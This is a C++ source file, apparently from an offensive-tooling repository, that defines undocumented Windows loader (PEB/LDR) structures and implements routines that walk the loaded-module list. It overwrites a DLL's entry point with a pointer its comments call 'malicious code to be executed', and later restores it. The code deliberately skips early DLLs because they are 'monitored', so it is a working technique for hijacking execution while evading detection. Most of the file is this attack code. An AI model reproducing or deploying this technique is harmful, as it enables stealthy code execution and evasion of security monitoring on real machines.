Files
2025-06-04 15:19:43 +01:00

381 lines
10 KiB
C++

#include <windows.h>
#include <stdio.h>
#include "pdatat.h"
/*************************************************************************************************/
/* Many structures here have been taken from the struct definitions used by @_batsec_ in
/* his Darkloader Library:
/*
/* https://github.com/bats3c/DarkLoadLibrary
/* Credits to him for his amazing work diving into those undocumented structures.
/*************************************************************************************************/
typedef enum _LDR_DLL_LOAD_REASON
{
LoadReasonStaticDependency,
LoadReasonStaticForwarderDependency,
LoadReasonDynamicForwarderDependency,
LoadReasonDelayloadDependency,
LoadReasonDynamicLoad,
LoadReasonAsImageLoad,
LoadReasonAsDataLoad,
LoadReasonEnclavePrimary, // REDSTONE3
LoadReasonEnclaveDependency,
LoadReasonUnknown = -1
} LDR_DLL_LOAD_REASON, * PLDR_DLL_LOAD_REASON;
typedef enum _LDR_DDAG_STATE
{
LdrModulesMerged = -5,
LdrModulesInitError = -4,
LdrModulesSnapError = -3,
LdrModulesUnloaded = -2,
LdrModulesUnloading = -1,
LdrModulesPlaceHolder = 0,
LdrModulesMapping = 1,
LdrModulesMapped = 2,
LdrModulesWaitingForDependencies = 3,
LdrModulesSnapping = 4,
LdrModulesSnapped = 5,
LdrModulesCondensed = 6,
LdrModulesReadyToInit = 7,
LdrModulesInitializing = 8,
LdrModulesReadyToRun = 9
} LDR_DDAG_STATE;
typedef struct _UNICODE_STR {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STR, * PUNICODE_STR;
typedef struct _PEB_LDR_DATA {
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB_FREE_BLOCK {
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
typedef struct __PEB {
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} PEB, * PPEB;
typedef struct _LDRP_CSLIST
{
PSINGLE_LIST_ENTRY Tail;
} LDRP_CSLIST, * PLDRP_CSLIST;
typedef struct _LDR_SERVICE_TAG_RECORD
{
struct _LDR_SERVICE_TAG_RECORD* Next;
ULONG ServiceTag;
} LDR_SERVICE_TAG_RECORD, * PLDR_SERVICE_TAG_RECORD;
typedef struct _LDR_DDAG_NODE
{
LIST_ENTRY Modules;
PLDR_SERVICE_TAG_RECORD ServiceTagList;
ULONG LoadCount;
ULONG LoadWhileUnloadingCount;
ULONG LowestLink;
union
{
LDRP_CSLIST Dependencies;
SINGLE_LIST_ENTRY RemovalLink;
};
LDRP_CSLIST IncomingDependencies;
LDR_DDAG_STATE State;
SINGLE_LIST_ENTRY CondenseLink;
ULONG PreorderNumber;
} LDR_DDAG_NODE, * PLDR_DDAG_NODE;
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)(
_In_ PVOID DllHandle,
_In_ ULONG Reason,
_In_opt_ PVOID Context
);
typedef struct _RTL_BALANCED_NODE
{
union
{
struct _RTL_BALANCED_NODE* Children[2];
struct
{
struct _RTL_BALANCED_NODE* Left;
struct _RTL_BALANCED_NODE* Right;
};
};
union
{
UCHAR Red : 1;
UCHAR Balance : 2;
ULONG_PTR ParentValue;
};
} RTL_BALANCED_NODE, * PRTL_BALANCED_NODE;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY2
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
union
{
LIST_ENTRY InInitializationOrderLinks;
LIST_ENTRY InProgressLinks;
};
PVOID DllBase;
PLDR_INIT_ROUTINE EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
union
{
UCHAR FlagGroup[4];
ULONG Flags;
struct
{
ULONG PackagedBinary : 1;
ULONG MarkedForRemoval : 1;
ULONG ImageDll : 1;
ULONG LoadNotificationsSent : 1;
ULONG TelemetryEntryProcessed : 1;
ULONG ProcessStaticImport : 1;
ULONG InLegacyLists : 1;
ULONG InIndexes : 1;
ULONG ShimDll : 1;
ULONG InExceptionTable : 1;
ULONG ReservedFlags1 : 2;
ULONG LoadInProgress : 1;
ULONG LoadConfigProcessed : 1;
ULONG EntryProcessed : 1;
ULONG ProtectDelayLoad : 1;
ULONG ReservedFlags3 : 2;
ULONG DontCallForThreads : 1;
ULONG ProcessAttachCalled : 1;
ULONG ProcessAttachFailed : 1;
ULONG CorDeferredValidate : 1;
ULONG CorImage : 1;
ULONG DontRelocate : 1;
ULONG CorILOnly : 1;
ULONG ChpeImage : 1;
ULONG ReservedFlags5 : 2;
ULONG Redirected : 1;
ULONG ReservedFlags6 : 2;
ULONG CompatDatabaseProcessed : 1;
};
};
USHORT ObsoleteLoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
ULONG TimeDateStamp;
struct _ACTIVATION_CONTEXT* EntryPointActivationContext;
PVOID Lock; // RtlAcquireSRWLockExclusive
PLDR_DDAG_NODE DdagNode;
LIST_ENTRY NodeModuleLink;
struct _LDRP_LOAD_CONTEXT* LoadContext;
PVOID ParentDllBase;
PVOID SwitchBackContext;
RTL_BALANCED_NODE BaseAddressIndexNode;
RTL_BALANCED_NODE MappingInfoIndexNode;
ULONG_PTR OriginalBase;
LARGE_INTEGER LoadTime;
ULONG BaseNameHashValue;
LDR_DLL_LOAD_REASON LoadReason;
ULONG ImplicitPathOptions;
ULONG ReferenceCount;
ULONG DependentLoadFlags;
UCHAR SigningLevel; // since REDSTONE2
} LDR_DATA_TABLE_ENTRY2, * PLDR_DATA_TABLE_ENTRY2;
// Update LDR structure with our malicious pointer
// First identify a suitable DLL module structure to overwrite
BOOL UpdateLdr(IN OUT PDATA_T pDataT) {
//PEB
#ifdef _WIN64
PPEB pPeb = (PPEB)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PPEB)(__readgsqword(0x30));
#endif
PEB_LDR_DATA* pPebLdr = (PEB_LDR_DATA*)pPeb->pLdr;
printf("\t[UpdateLdr] PEB located at\t0x%p\n", pPeb);
printf("\t[UpdateLdr] PebLdr located at\t0x%p\n", pPebLdr);
//First element of list:
PLDR_DATA_TABLE_ENTRY2 pDte = (PLDR_DATA_TABLE_ENTRY2)((ULONG_PTR)pPebLdr->InMemoryOrderModuleList.Flink - 0x10);
DWORD i = 0;
while (pDte) {
if (pDte->BaseDllName.Length != NULL) {
// testing if this DLL is suitable. i>5 is to skip the first few DLLs as they are more critical and monitored.
if (pDte->EntryPoint != NULL && pDte->DontCallForThreads == 0 && i > 5) {
printf("\t\t[UpdateLdr][%d] - identified DLL at \t0x%p\n", GetCurrentThreadId(), (PVOID)pDte->DllBase);
pDataT->bakEntryPoint = (ULONG_PTR)pDte->EntryPoint;
pDte->EntryPoint = (PLDR_INIT_ROUTINE)pDataT->runner; // malicious code to be executed
pDataT->bakOriginalBase = pDte->OriginalBase;
pDte->OriginalBase = (ULONG_PTR)pDataT; // replace OriginalBase with our DATA_T structure
printf("\t\t[UpdateLdr][%d] - backup entry point:\t0x%p\n", GetCurrentThreadId(), (PVOID)pDataT->bakEntryPoint);
printf("\t\t[UpdateLdr][%d] - new entry point:\t0x%p\n", GetCurrentThreadId(), pDte->EntryPoint);
printf("\t\t[UpdateLdr][%d] - pDte->OriginalBase:\t0x%p\n", GetCurrentThreadId(), (PVOID)pDte->OriginalBase);return TRUE;
return TRUE;
}
}
else {
break;
}
i++;
//travelling to next pDte:
pDte = *(PLDR_DATA_TABLE_ENTRY2*)(pDte);
}
return FALSE;
}
// Restore LDR structure that we have overwritten
BOOL RestoreLdr(IN ULONG_PTR dllBase) {
//PEB
#ifdef _WIN64
PPEB pPeb = (PPEB)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PPEB)(__readgsqword(0x30));
#endif
PDATA_T pDataT = NULL;
PEB_LDR_DATA* pPebLdr = (PEB_LDR_DATA*)pPeb->pLdr;
//First element of list:
PLDR_DATA_TABLE_ENTRY2 pDte = (PLDR_DATA_TABLE_ENTRY2)((ULONG_PTR)pPebLdr->InMemoryOrderModuleList.Flink - 0x10);
while (pDte) {
if (pDte->BaseDllName.Length != NULL) {
if (pDte->DllBase == (PVOID)dllBase) {
pDataT = (PDATA_T)pDte->OriginalBase;
// restore the two modified fields to their original values kept in PDATA_T struct
pDte->EntryPoint = (PLDR_INIT_ROUTINE)pDataT->bakEntryPoint;
pDte->OriginalBase = pDataT->bakOriginalBase;
return TRUE;
}
}
else {
break;
}
//travelling to next pDte:
pDte = *(PLDR_DATA_TABLE_ENTRY2*)(pDte);
}
return FALSE;
}
// Locate our DATA_T structure containing all params related to the
// API call we want to perform.
PDATA_T GetPdataT(IN HMODULE dllBase) {
//PEB
#ifdef _WIN64
PPEB pPeb = (PPEB)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PPEB)(__readgsqword(0x30));
#endif
PEB_LDR_DATA* pPebLdr = (PEB_LDR_DATA*)pPeb->pLdr;
//First element of list:
PLDR_DATA_TABLE_ENTRY2 pDte = (PLDR_DATA_TABLE_ENTRY2)((ULONG_PTR)pPebLdr->InMemoryOrderModuleList.Flink - 0x10);
while (pDte) {
if (pDte->BaseDllName.Length != NULL) {
if (pDte->DllBase == dllBase) {
return (PDATA_T)pDte->OriginalBase;
}
}
else {
break;
}
//travelling to next pDte:
pDte = *(PLDR_DATA_TABLE_ENTRY2*)(pDte);
}
return NULL;
}